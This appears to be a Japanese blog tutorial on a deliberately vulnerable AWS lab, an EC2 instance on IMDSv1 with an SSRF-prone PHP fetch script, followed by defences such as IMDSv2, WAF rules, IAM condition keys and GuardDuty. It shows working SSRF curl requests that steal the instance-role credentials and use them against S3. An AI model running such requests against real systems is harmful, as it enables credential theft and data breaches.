2
2

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

脆弱性のあるEC2環境をコード化してみた。IMDSv1の脆弱性とその対策をご紹介

Last updated at Posted at 2025-10-19

はじめに

本記事ではIMDSv1の脆弱性と攻撃手法、それに対する対策や緩和策を整理します。

目次

コード紹介

今回テーマとして取りあげるアーキテクチャはCDKで定義しています。Githubへのリンクを置いておくので気軽に検証にお使いください。EC2にアタッチされているIAMロールの認証情報を取得することで、外部からS3バケットに格納しているオブジェクトにアクセスできる仕組みです。
言うまでもありませんが、本番環境で使うのは絶対にNGです。最悪の場合、機密情報が奪取されて重大なインシデントを引き起こします。

アーキテクチャ紹介

今回のアーキテクチャは以下の通りです。

architecture.png

  • プライベートサブネットにEC2を配置し、前段となるパブリックサブネットにALBを配置したシンプルなWebサイト
  • 通常のユーザはALBのDNS名を用いてWebサイトにアクセスできる
  • 管理者はVPCエンドポイント経由でSSMセッションマネージャーを利用してサーバ管理作業をする
  • EC2にはS3バケットにアクセスできるIAMロールを付与している

今回は検証ですので意図的にIMDSv1の設定を行い、脆弱性のあるPHPスクリプトを含むようにしています。

IMDSv1の脆弱性

EC2の認証情報とは

基本からおさらいしましょう。EC2の認証情報とは、EC2インスタンスに付与されたIAMロールをAssumeRoleすることで、AWS STSが発行する一時的な認証情報のことです。この認証情報にはAccessKeyId、SecretAccessKey、SessionTokenが含まれ、IAMロールに付与された権限でAWSサービスにアクセスできます。これらの認証情報はデフォルトで1時間で期限切れとなり、自動的に更新されます。

IMDSとは

Instance Meta Data Serviceの略です。EC2に関するメタデータにアクセスするためのサービスで、169.254.169.254を呼び出すことで取得ができます。メタデータにはインスタンスIDやセキュリティグループなどの情報が含まれます。取得できるすべてのメタデータはAWS公式ドキュメントに記載があるので適宜確認してください。

IMDSにはv1とv2がありますが、これらの違いはメタデータの取得方法です。
v1は以下のコマンドでメタデータを取得できます。v2は後述しますが、取得にトークンが必要になります。

curl http://169.254.169.254/latest/meta-data/

インシデント例

ここではIMDSv1の脆弱性を悪用したインシデントについて記載します。
いちばん有名なのは大手金融企業Capital Oneの個人情報流出でしょう。以下の記事が分かりやすいので参照します。
https://piyolog.hatenadiary.jp/entry/2019/08/06/062154

上記の通りメタデータはEC2に侵入できてしまえば簡単に取得することができます。このメタデータにはIAMロールの認証情報が含まれているため、攻撃者はこれを使ってCapital OneのAWSアカウントにサインインしました。このIAMロールには当然S3バケットへのアクセス権限が付与されているため、攻撃者はS3バケットから機密情報を奪取したというわけです。

漏洩させてみる

ではここからは上で紹介したコードをデプロイして、認証情報の漏洩をしてみます。

検証用のアカウントを用意し、以下のコマンドを順に実行します。

git clone https://github.com/kyo-tsun/alb-privateec2-ssrf.git
cd alb-privateec2-ssrf
npm install
cdk bootstrap
cdk deploy

CloudFormationのステータスがCREATE_COMPLETEになったらデプロイ完了です。

{6FFF069A-CD0C-4E4A-B6C1-5BFED47A4C66}.png

管理者として認証情報を取得

まずは健全な管理者側としてEC2に接続してみましょう。
EC2 > 接続 > セッションマネージャー から接続します。

{2EE743A9-B826-4FB9-B886-A387250E317D}.png

セッションマネージャーで接続できたら、以下コマンドでメタデータを取得します。

sh-5.2$ curl http://169.254.169.254/latest/meta-data/
ami-id
ami-launch-index
ami-manifest-path
block-device-mapping/
events/
hostname
iam/
identity-credentials/
instance-action
instance-id
instance-life-cycle
instance-type
local-hostname
local-ipv4
mac
metrics/
network/
placement/
profile
reservation-id
security-groups
services/

こんな感じでメタデータを取得できます。

気になる方は他のメタデータも見てみてください。今回はIAMロールの確認をします。

sh-5.2$ curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
PrivateSsmWithAlbStack-InstanceRoleXXXXXXXX-XXXXXXXXXXXX

IAMロールが取得できました。

取得したIAMロールの中身を確認してみます。

sh-5.2$ curl http://169.254.169.254/latest/meta-data/iam/security-credentials/PrivateSsmWithAlbStack-InstanceRoleXXXXXXXX-XXXXXXXXXXXX

{0C0C9420-27B6-4716-806A-E939016A0820}.png

こんな感じで簡単に認証情報を取得できます。

業務要件でメタデータを取得する用事があるときにすごく便利なサービスですが、設定を誤ると外部からでも簡単に取得できるという欠点があります。次はその実例を示します。

攻撃者として認証情報を取得

今度は攻撃者として認証情報の取得を試みます。

本構成は前段にALBを置いているので、ALBのDNS名を経由してWebサーバにアクセスすることができます。CfnOutputかCloudFormationの出力タブからALBのDNS名をコピーしてください。

{E151203F-73C9-4F8A-B312-1E381DF76C0B}.png

CDKをデプロイした環境とは異なるシェル(別アカウントのCloudShellなど)から、curlでアクセスをします。httpなので注意。

~ $ curl "http://PrivateSsmAlb-XXXXXXXX.ap-northeast-1.elb.amazonaws.com"
<h1>Hello from EC2!</h1>"

Webサーバにアクセスできました。

このサーバには脆弱性を含むphpファイルfetch.phpを配置しており、入力規制やアクセス制限なくURLへの通信ができます。(解説は後述)
ですので、ALBへのリクエストにメタデータへのパスを含めると、外部からでも簡単にメタデータにアクセスすることが可能です。

~ $ curl "http://PrivateSsmAlb-XXXXXXXXX.ap-northeast-1.elb.amazonaws.com/fetch.php?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/PrivateSsmWithAlbStack-InstanceRoleXXXXXXXX-XXXXXXXXXXXX"

image.png

ALB経由でIAMロールの認証情報を取得することができました。

この認証情報を使ってAWSにサインインしてみましょう。

~ $ aws configure
AWS Access Key ID [None]: XXXXXXXXXXXXXXXXXX
AWS Secret Access Key [None]: XXXXXXXXXXXXXXXXXXXXXXXXXXXXX
AWS Session Token [None]: XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
Default region name [None]: ap-northeast-1
Default output format [None]: json

攻撃者はとりあえずS3バケットを確認したり、現在のIAMロールが持っている権限を確認したりします。

~ $ aws s3 ls

An error occurred (AccessDenied) when calling the ListBuckets operation: User: arn:aws:sts::450988964145:assumed-role/PrivateSsmWithAlbStack-InstanceRoleXXXXXXXX-XXXXXXXXXXXX/i-XXXXXXXXXXXXXX is not authorized to perform: s3:ListAllMyBuckets because no identity-based policy allows the s3:ListAllMyBuckets action
~ $ aws iam get-role --role-name PrivateSsmWithAlbStack-InstanceRoleXXXXXXXX-XXXXXXXXXXXX

An error occurred (AccessDenied) when calling the GetRole operation: User: arn:aws:sts::450988964145:assumed-role/PrivateSsmWithAlbStack-InstanceRoleXXXXXXXX-XXXXXXXXXXXX/i-XXXXXXXXXXXXXX is not authorized to perform: iam:GetRole on resource: role PrivateSsmWithAlbStack-InstanceRoleXXXXXXXX-XXXXXXXXXXXX because no identity-based policy allows the iam:GetRole action

ただし今回は上記コマンドを実行できる権限を渡していないのでエラーになります。

しかし攻撃者は諦めません。この環境がCDKで作成されていることや既知の情報からの類推、最悪の場合はブルートフォースでS3バケット名があぶりだされる可能性があります。今回のバケット名はCDKが自動生成しているので比較的類推しやすい名前となっています。

~ $ aws s3 ls s3://privatessmwithalbstack-bucketXXXXXXXX-XXXXXXXXXXXXX
2025-10-15 03:48:27         12 secret.txt

secret.txtの存在バレました。こうなったら攻撃者はこのファイルを盗むなり改ざんするなり好き放題です。企業の機密情報であれば大問題になります。

このようにしてIMDSv1の脆弱性を悪用した攻撃はいとも簡単に成立してしまいます。
以降ではこのような被害を起こさないための対策方法について考察と検証を行います。

対策

ここからは上記の攻撃を防ぐ、もしくは緩和するための対応策を1つずつ試します。
今回は説明が分かりやすくなるように1つずつ試しますが、セキュリティの観点からは複数実施して多層防御を展開することが大切です。

IMDSv2への移行

まずはシンプルにIMDSのバージョンを最新版に移行しましょう。v1を使わないのであればマストで移行するべきです。
設定方法は簡単です。

EC2 > インスタンスの設定 > インスタンスメタデータオプションの設定と進みます。

{71650B5F-8E7A-471B-B990-0175121E4FAD}.png

開いた画面でIMDSv2をOptionalから必須に変更してください。もちろんCLIや上記CDKを編集する方法もあります。(ここでは割愛)

{E1C27AFE-91C6-4603-8BE9-01808410991E}.png

数分待った後、再度攻撃者としてアクセスを試してみます。

~ $ curl "http://PrivateSsmAlb-XXXXXXXXX.ap-northeast-1.elb.amazonaws.com/fetch.php?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/PrivateSsmWithAlbStack-InstanceRoleXXXXXXXX-XXXXXXXXXXXX"

恐らく何も表示されないはずです。IMDSv2に移行するとメタデータのアクセスにトークンが必要になるため、既存のコマンドで外部から認証情報を取得することはできなくなります。
なお、IMDSv2への移行はあくまで緩和策であり、より高度で専門的な攻撃を行うとv2であってもメタデータの取得ができてしまいます。

また、顧客環境の業務都合によってはIMDSv1への移行が難しい場合もあります。その場合は他のレイヤーによる防御策を実施する必要があります。

脆弱性のあるスクリプトの改修

既存のphpファイルには脆弱性が含まれているので解消しましょう。
対照実験のため、IMDSv1の設定をOptionalに戻しておきます。

脆弱性を防ぐ方法はいくつかありますが、簡単な方法として、内部からは許可しつつ外部からの入力を拒否するようにphpを書き換えましょう。
セッションマネージャーでWebサーバに接続し、/var/www/html/配下にfetch2.phpを作成します。

/var/www/html/fetch2.php
<?php
if (isset($_GET["url"])) {
    $url = $_GET["url"];
    
    // IMDSアクセスを完全にブロック(Webアクセス時)
    if (strpos($url, '169.254.169.254') !== false && 
        php_sapi_name() !== 'cli') {
        die('IMDS access blocked from web interface');
    }
    
    $content = file_get_contents($url);
    echo $content;
} else {
    echo "Usage: fetch.php?url=<URL>";
}
?>

ではfetch2.phpからメタデータの取得をしてみましょう。

~ $ curl "PrivateSsmAlb-XXXXXXXX.ap-northeast-1.elb.amazonaws.com/fetch2.php?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/"
IMDS access blocked from web interface

希望通り外部からのアクセスを制限することができました。この状態でも、内部からのメタデータアクセスは成功します。

WAF

続いてはインフラレイヤーでの防御策としてAWS WAFを導入してみます。脆弱性対策を施したfetch2.phpは削除しておきます。

ALBPrivateSsmAlbを関連付けたWeb ACLを作成し、以下の3つのマネージドルールを設定しました。特に今回のSSRF攻撃において重要なのはEC2MetaDataSSRF_シリーズです。これらのルールを設定することで、リクエスト内に169.254.169.254のメタデータ取得を試みる通信を検出し、遮断することができます。

  • AWS-AWSManagedRulesCommonRuleSet
    • EC2MetaDataSSRF_BODY
    • EC2MetaDataSSRF_COOKIE
    • EC2MetaDataSSRF_URIPATH
    • EC2MetaDataSSRF_QUERYARGUMENTS
  • AWS-AWSManagedRulesAmazonIpReputationList
  • AWS-AWSManagedRulesKnownBadInputsRuleSet

では攻撃者としてALB経由で認証情報の取得を試しましょう。

~ $ curl "http://PrivateSsmAlb-XXXXXXXX.ap-northeast-1.elb.amazonaws.com/fetch.php?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/"
<html>
<head><title>403 Forbidden</title></head>
<body>
<center><h1>403 Forbidden</h1></center>
</body>
</html>

希望通り403 Forbiddenを返して不正アクセスを咎めることができました。マネージドルールを設定するだけでいいので、気軽に設定することができます。もはやAWS WAFはWebサービスを展開する上で必須サービスと言えるでしょう。

WAFのダッシュボードも確認してみます。

{5D34D8D5-E173-4486-8F1B-8A12E78FE001}.png

SSRF攻撃があったことをカウントできています。
セキュリティ運用担当がWAFのダッシュボードを確認し、異常な通信がないかを確認する体制を整えることが重要です。

IAMのグローバル条件キー

続いてはIAMレイヤーとしてIAMポリシーにグローバル条件キーを追記してみます。WAFは削除しておきます。
今回設定するグローバル条件キーは以下の2つです。

  • aws:EC2InstanceSourceVPC
    • EC2のIAMロールの認証情報が作成されたVPCを識別
  • aws:EC2InstanceSourcePrivateIPv4
    • EC2のIAMロールの認証情報が作成されたIPv4アドレスを識別

つまりこれらのキーをIAMポリシーに設定することで、EC2が所属しているVPC外からの認証情報の利用を制限することができます。IAMポリシーを書き足すだけなので非常に強力かつシンプルな対策となります。

しかし注意すべき点が2つあります。

ひとつ目はEC2から他サービスへの通信にVPCエンドポイントが必須となる点です。CloudWatchやSSMに接続する際、必ずVPCエンドポイントが必要になります。普段VPCエンドポイントを使わない環境からするとコストが懸念となるでしょう。

ふたつ目は普段の業務でVPC外からのアクセスがないか確認が必要な点です。Ansibleなどの管理業務でVPC外からのアクセスがある際はこのポリシーを設定すると通常業務に影響が出てしまうので注意が必要です。

ではポリシーを設定して試してみましょう。以下のようなポリシーをEC2のIAMロールに追加します。

{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Deny",
      "Action": "*",
      "Resource": "*",
      "Condition": {
        "StringNotEquals": {
          "aws:ec2InstanceSourceVPC": "${aws:SourceVpc}"
        },
        "Null": {
          "ec2:SourceInstanceARN": "false"
        },
        "BoolIfExists": {
          "aws:ViaAWSService": "false"
        }
      }
    },
    {
      "Effect": "Deny",
      "Action": "*",
      "Resource": "*",
      "Condition": {
        "StringNotEquals": {
          "aws:ec2InstanceSourcePrivateIPv4": "${aws:VpcSourceIp}"
        },
        "Null": {
          "ec2:SourceInstanceARN": "false"
        },
        "BoolIfExists": {
          "aws:ViaAWSService": "false"
        }
      }
    }
  ]
}

では攻撃者としてALB経由で認証情報を利用してS3にアクセスをしてみましょう。

~ $ aws s3 ls s3://privatessmwithalbstack-bucketXXXXXXXX-XXXXXXXXXXXX

An error occurred (AccessDenied) when calling the ListObjectsV2 operation: User: arn:aws:sts::XXXXXXXXXXXXX:assumed-role/PrivateSsmWithAlbStack-InstanceRoleXXXXXXXX-XXXXXXXXXXXXX/i-XXXXXXXXXXXXXXXX is not authorized to perform: s3:ListBucket on resource: "arn:aws:s3:::privatessmwithalbstack-bucketXXXXXXXX-XXXXXXXXXXXX" with an explicit deny in an identity-based policy

このようにポリシーが理由でAccessDeniedにすることができました。
用意かつ強力な手段ですので、要件に当てはまる環境ではおすすめです。

GuardDuty検知

続いてはセキュリティサービスとしてGuardDutyを活用した脅威検知をしてみます。

GuardDutyはAWS環境内の不審な行動をチェックし、ルールに合致すればアラートするセキュリティサービスです。今回で言えば外部からEC2の認証情報が取得され、それを用いてS3にアクセスされていることを異常として検知しています。
ここまで伴走している方はすでに以下のようなGuardDutyの検知がされているはずです。

{ED1B660C-648A-4504-A0D7-F2E982BE74E9}.png

セキュリティ運用担当者はアラートをメールやBacklogなどに通知して、即座に調査対応ができる体制を整えておきましょう。

CloudWatchメトリクスによる監視

続いては監視レイヤーとしてMetadataNoTokenメトリクス監視をしてみます。

MetadataNoTokenメトリクスはその名の通りメタデータにトークンなしでアクセスした回数をカウントするメトリクスです。これがカウントされる=IMDSv1でメタデータを取得している、ということになるため、このメトリクスでアラームを設定すればIMDSv1の使用に気が付くことができます。

{601FCB84-1656-4205-BCBF-83DF56C5FBA0}.png

なお、このメトリクスはAgentなしで取得できます。気軽に監視できるのでアラームを設定しておきましょう。

ちなみに、MetadataNoTokenRejectedというメトリクスも存在します。これはメタデータをトークンなしで取得しようとしたときに拒否された回数をカウントします。つまりIMDSv2を使用しているときにトークンなしのアクセスがあったことに気が付けるため、IMDSv2移行後はこちらのメトリクスを利用するようにしましょう。

MetadataNoTokenRejectedメトリクスについては以下の記事が分かりやすいので参照します。

過剰権限を付与しない

最後にこれは予防策ですが、なによりも過剰権限を渡さないことが重要です。
今回の構成ではEC2のIAMロールには特定のS3バケットへの権限しか与えておらず、そのバケットに大した情報がないので、漏洩したとしても大きな問題にはならないでしょう。しかしこれがより大きな権限を持たせていると話は変わります。特にIAMの権限を過剰に渡すのは危険で、不正なユーザを作成されるなど権限昇格のおそれがあります。
クラウドを扱うエンジニアとしては当然ですが、最小権限の原則は常に忘れないようにしましょう。

最後に

ここまでコード化したEC2環境をテーマに、IMDSv1の脆弱性と攻撃手法、そしてそれに対する防御策をまとめました。繰り返しになりますが対策はひとつ実施して満足するのではなく、多層防御が大切です。自社や顧客のシステムをセキュアに保つため、これらの対策を実施しましょう。

この記事がどなたかの役に立てれば幸いです。

参考

2
2
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
2
2

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?